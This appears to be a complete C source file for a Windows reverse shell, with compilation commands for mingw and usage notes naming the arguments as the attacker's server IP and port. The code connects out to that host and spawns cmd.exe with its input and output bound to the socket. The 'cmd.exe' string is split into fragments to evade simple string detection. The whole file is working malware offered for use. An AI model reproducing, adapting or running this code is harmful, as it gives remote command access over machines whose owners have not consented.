72 lines
2.0 KiB
C
72 lines
2.0 KiB
C
/*
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* Shamefully simple reverse shell, totally not OPSEC-safe, proving extremely
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* low programming skills. Coded up in couple of minutes.
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*
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* Compilation:
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* - x64
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* $ x86_64-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
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* - x86
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* $ i686-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
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*
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* Usage:
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* cmd> revshell <IP> <PORT> &
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*
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* Where:
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* - ip - remote attacker's server IP
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* - port - remote attacker's server PORT
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**/
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#define WIN32_LEAN_AND_MEAN
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#include <winsock2.h>
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#include <stdio.h>
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#ifdef _MSC_VER
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# pragma comment(lib, "ws2_32")
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#endif
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int main(int argc, char *argv[])
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{
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WSADATA wsaData;
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SOCKET wsock;
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struct sockaddr_in sin;
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char saddr[16];
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if (argc < 3)
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{
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return 0;
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}
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const char *hostname = argv[1];
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unsigned int port = atoi(argv[2]);
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WSAStartup(MAKEWORD(2,2), &wsaData);
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wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
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struct hostent *host = gethostbyname(hostname);
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strcpy(saddr, inet_ntoa(*((struct in_addr *)host->h_addr)));
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sin.sin_family = AF_INET;
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sin.sin_port = htons(port);
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sin.sin_addr.s_addr = inet_addr(saddr);
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WSAConnect(wsock, (SOCKADDR*)&sin, sizeof(sin), NULL, NULL, NULL, NULL);
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if (WSAGetLastError() == 0)
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{
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STARTUPINFO sinfo = {0};
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PROCESS_INFORMATION procinfo = {0};
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sinfo.cb = sizeof(sinfo);
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sinfo.dwFlags = STARTF_USESTDHANDLES;
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sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)wsock;
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char *cmd[4] = { "cm", "d.e", "x", "e" };
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char command[8] = "";
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snprintf(command, sizeof(command), "%s%s%s%s", cmd[0], cmd[1], cmd[2], cmd[3]);
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CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &procinfo);
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}
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return 0;
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}
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